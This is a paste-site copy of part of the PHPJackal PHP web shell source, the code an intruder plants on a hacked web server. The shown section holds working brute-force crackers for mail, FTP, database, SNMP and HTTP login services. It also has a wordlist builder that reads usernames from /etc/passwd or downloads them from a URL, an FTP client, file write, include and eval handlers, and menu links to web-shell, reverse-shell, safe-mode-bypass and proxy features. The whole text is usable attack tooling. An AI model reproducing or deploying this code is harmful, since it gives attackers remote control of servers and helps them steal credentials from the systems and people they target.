bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$hcwd<input class=buttons type=submit value='Execute'></form>$et</center>";
  1275. }
  1276. function crackeR(){
  1277. global $t,$et,$crack,$cwd;
  1278. $check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
  1279. if(!empty($_REQUEST['cracK']) && !$check){
  1280. $c=htmlspecialchars($_REQUEST['cracK']);
  1281. echo "<center>$t$c cracker:$crack";
  1282. }
  1283. elseif(!empty($_REQUEST['cracK']) && $check){
  1284. $pro=strtolower($_REQUEST['cracK']).'checK';
  1285. $target=$_REQUEST['target'];
  1286. $type=$_REQUEST['combo'];
  1287. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  1288. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1289. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1290. if($dictionary){
  1291. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  1292. while(!feof($dictionary)){
  1293. if($type){
  1294. $combo=trim(fgets($dictionary)," \n\r");
  1295. $user=substr($combo,0,strpos($combo,':'));
  1296. $pass=substr($combo,strpos($combo,':')+1);
  1297. }else{
  1298. $pass=trim(fgets($dictionary)," \n\r");
  1299. }
  1300. $ret=$pro($target,$user,$pass,5);
  1301. if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{
  1302. if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}}
  1303. }
  1304. echo '<br>Done</font>';
  1305. fclose($dictionary);
  1306. }
  1307. else{
  1308. echo "$errorbox Can not open dictionary.$et";
  1309. }
  1310. }
  1311. else{
  1312. echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>";
  1313. }
  1314. }
  1315. function snmpcrackeR(){
  1316. global $t,$et,$errorbox,$hcwd;
  1317. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1318. $target=$_REQUEST['target'];
  1319. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1320. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1321. if($dictionary){
  1322. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  1323. while(!feof($dictionary)){
  1324. $com=trim(fgets($dictionary)," \n\r");
  1325. $res=snmpchecK($target,$com,2);
  1326. if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");}
  1327. }
  1328. echo '<br>Done</font>';
  1329. fclose($dictionary);
  1330. }
  1331. else{
  1332. echo "$errorbox Can not open dictionary.$et";
  1333. }
  1334. }else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>";
  1335. }
  1336. function dicmakeR(){
  1337. global $errorbox,$windows,$footer,$t,$et,$hcwd;
  1338. $combo=(empty($_REQUEST['combo']))?0:1;
  1339. if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  1340. $min=$_REQUEST['min'];
  1341. $max=$_REQUEST['max'];
  1342. if($max<$min)die($errorbox."Bad input!$et".$footer);
  1343. $s=$w='';
  1344. $out=$_REQUEST['output'];
  1345. $r=$_REQUEST['range'];
  1346. $dic=fopen($out,'w');
  1347. if($r==1){
  1348. for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
  1349. $w=$s;
  1350. if($combo)$w="$w:$w";
  1351. fwrite($dic,$w."\n");
  1352. }
  1353. }
  1354. else{
  1355. $s=str_repeat($r,$min);
  1356. while(strlen($s)<$max){
  1357. $w=$s;
  1358. if($combo)$w="$w:$w";
  1359. fwrite($dic,$w."\n");
  1360. $s++;
  1361. }
  1362. }
  1363. fclose($dic);
  1364. echo '<font color=blue>Done</font>';
  1365. }
  1366. elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  1367. $input=fopen($_REQUEST['input'],'r');
  1368. if(!$input){
  1369. if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>";
  1370. else{
  1371. $input=explode("\n",shelL("cat $input"));
  1372. $output=fopen($_REQUEST['output'],'w');
  1373. if($output){
  1374. foreach($input as $in){
  1375. $user=$in;
  1376. $user=trim(fgets($in)," \n\r");
  1377. if(!strstr($user,':'))continue;
  1378. $user=substr($user,0,(strpos($user,':')));
  1379. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  1380. }
  1381. fclose($input);fclose($output);
  1382. echo '<font color=blue>Done</font>';
  1383. }
  1384. }
  1385. }
  1386. else{
  1387. $output=fopen($_REQUEST['output'],'w');
  1388. if($output){
  1389. while(!feof($input)){
  1390. $user=trim(fgets($input)," \n\r");
  1391. if(!strstr($user,':'))continue;
  1392. $user=substr($user,0,(strpos($user,':')));
  1393. if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
  1394. }
  1395. fclose($input);fclose($output);
  1396. echo '<font color=blue>Done</font>';
  1397. }
  1398. else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>";
  1399. }
  1400. }elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  1401. $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
  1402. if($combo && $res){
  1403. $file=file($_REQUEST['output']);
  1404. $output=fopen($_REQUEST['output'],'w');
  1405. foreach($file as $v)fwrite($output,"$v:$v\n");
  1406. fclose($output);
  1407. }
  1408. echo '<font color=blue>Done</font>';
  1409. }else{
  1410. $temp=whereistmP().DIRECTORY_SEPARATOR;
  1411. echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";}
  1412. }
  1413. function ftpclienT(){
  1414. global $t,$cwd,$hcwd,$errorbox,$et;
  1415. $td="<td bgcolor='#333333' width='50%'>";
  1416. if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
  1417. $user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
  1418. $con=ftp_connect($_REQUEST['hosT'],21,10);
  1419. if($con){
  1420. $ftp=ftp_login($con,$user,$pass);
  1421. if($ftp){
  1422. if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
  1423. if(!empty($_REQUEST['filE'])){
  1424. $file=$_REQUEST['filE'];
  1425. $mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
  1426. if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
  1427. elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
  1428. elseif(isset($_REQUEST['rM'])){
  1429. ftp_rmdir($con,$file);
  1430. ftp_delete($con,$file);
  1431. }
  1432. elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
  1433. }
  1434. $pwd=ftp_pwd($con);
  1435. $dir=ftp_nlist($con,'');
  1436. $d=opendir($cwd);
  1437. echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td";
  1438. foreach($dir as $n)echo "$n<br>";
  1439. echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et";
  1440. }else echo "$errorbox Wrong username or password$et";
  1441. }else echo "$errorbox Can not connect to server!$et";
  1442. }
  1443. else{
  1444. echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value=admin@nasa.gov name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>";
  1445. }
  1446. }
  1447. function calC(){
  1448. global $t,$et,$hcwd;
  1449. $fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
  1450. if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  1451. $to=$_REQUEST['to'];
  1452. echo "<center>${t}Output:<br><textarea rows='10' cols='64'>";
  1453. if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i})));
  1454. else echo $to($_REQUEST['input']);
  1455. echo "</textarea>$et</center><br>";
  1456. }
  1457. echo "<center>${t}Convertor:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>";
  1458. }
  1459. function authcrackeR(){
  1460. global $errorbox,$et,$t,$hcwd;
  1461. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1462. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1463. $data='';
  1464. $method=($_REQUEST['method'])?'POST':'GET';
  1465. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  1466. spliturL($_REQUEST['target'],$host,$page);
  1467. $type=$_REQUEST['combo'];
  1468. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  1469. if($method=='GET')$page.=$data;
  1470. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1471. echo '<font color=blue>';
  1472. while(!feof($dictionary)){
  1473. if($type){
  1474. $combo=trim(fgets($dictionary)," \n\r");
  1475. $user=substr($combo,0,strpos($combo,':'));
  1476. $pass=substr($combo,strpos($combo,':')+1);
  1477. }else{
  1478. $pass=trim(fgets($dictionary)," \n\r");
  1479. }
  1480. $so=fsockopen($host,80,$en,$es,5);
  1481. if(!$so){echo "$errorbox Can not connect to host$et";break;}
  1482. else{
  1483. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  1484. if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data);
  1485. $packet.="\r\n\r\n";
  1486. $packet.=$data;
  1487. fputs($so,$packet);
  1488. $res=substr(fgets($so),9,2);
  1489. fclose($so);
  1490. if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");}
  1491. }
  1492. }
  1493. echo 'Done!</font>';
  1494. }else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
  1495. }
  1496. function openiT($name){
  1497. $ext=strtolower(substr($name,strrpos($name,'.')+1));
  1498. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  1499. if(in_array($ext,$src))highlight_file($name);
  1500. else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
  1501. }
  1502. function opensesS($name){
  1503. $sess=file_get_contents($name);
  1504. $var=explode(';',$sess);
  1505. echo "<pre>Name\tType\tValue\r\n";
  1506. foreach($var as $v){
  1507. $t=explode('|',$v);
  1508. $c=explode(':',$t[1]);
  1509. $y='';
  1510. if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
  1511. echo $t[0]."\t$y\t".$c[1]."\r\n";
  1512. }
  1513. echo '</pre>';
  1514. }
  1515. function logouT(){
  1516. setcookie('passw','',time()-10000);
  1517. header('Location: '.hlinK());
  1518. }
  1519. ?>
  1520. <html>
  1521. <head>
  1522. <style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style>
  1523. <meta http-equiv="Content-Language" content="en-us">
  1524. <script language="JavaScript" type="text/JavaScript">
  1525. function HS(box){
  1526. if(document.getElementById(box).style.display!="none"){
  1527. document.getElementById(box).style.display="none";
  1528. document.getElementById('lk').innerHTML="+";
  1529. }
  1530. else{
  1531. document.getElementById(box).style.display="";
  1532. document.getElementById('lk').innerHTML="-";
  1533. }
  1534. }
  1535. function chmoD($file){
  1536. $ch=prompt("Changing file mode["+$file+"]: ex. 777","");
  1537. if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch;
  1538. }
  1539. </script>
  1540. <title>PHPJackal [<?php echo $cwd; ?>]</title>
  1541. </head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
  1542. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
  1543. <tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table>
  1544. <hr size=1 noshade>
  1545. <?php
  1546. if(!empty($_REQUEST['seC'])){
  1547. switch($_REQUEST['seC']){
  1548. case 'fm':filemanageR();break;
  1549. case 'sc':scanneR();break;
  1550. case 'phpinfo':phpinfo();break;
  1551. case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
  1552. if(!empty($_REQUEST['Save'])){
  1553. $filehandle=fopen($_REQUEST['file'],'w');
  1554. fwrite($filehandle,$_REQUEST['edited']);
  1555. fclose($filehandle);}
  1556. if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
  1557. break;
  1558. case 'openit':openiT($_REQUEST['namE']);break;
  1559. case 'cr':crackeR();break;
  1560. case 'dic':dicmakeR();break;
  1561. case 'tools':toolS();break;
  1562. case 'hex':hexvieW();break;
  1563. case 'img':showimagE($_REQUEST['filE']);break;
  1564. case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
  1565. case 'hc':hashcrackeR();break;
  1566. case 'fcr':formcrackeR();break;
  1567. case 'auth':authcrackeR();break;
  1568. case 'ftpc':ftpclienT();break;
  1569. case 'eval':phpevaL();break;
  1570. case 'snmp':snmpcrackeR();break;
  1571. case 'px':pr0xy();break;
  1572. case 'webshell':webshelL();break;
  1573. case 'mailer':maileR();break;
  1574. case 'br':brshelL();break;
  1575. case 'asm':safemodE();break;
  1576. case 'sqlcl':sqlclienT();break;
  1577. case 'calc':calC();break;
  1578. case 'sysinfo':sysinfO();break;
  1579. case 'checksum':checksuM($_REQUEST['filE']);break;
  1580. case 'logout':logouT();break;
  1581. default: echo $intro;}}else echo $intro;
  1582. echo $footer;?></body></html>

Reply to "PHPJackal Shell"

Here you can reply to the paste above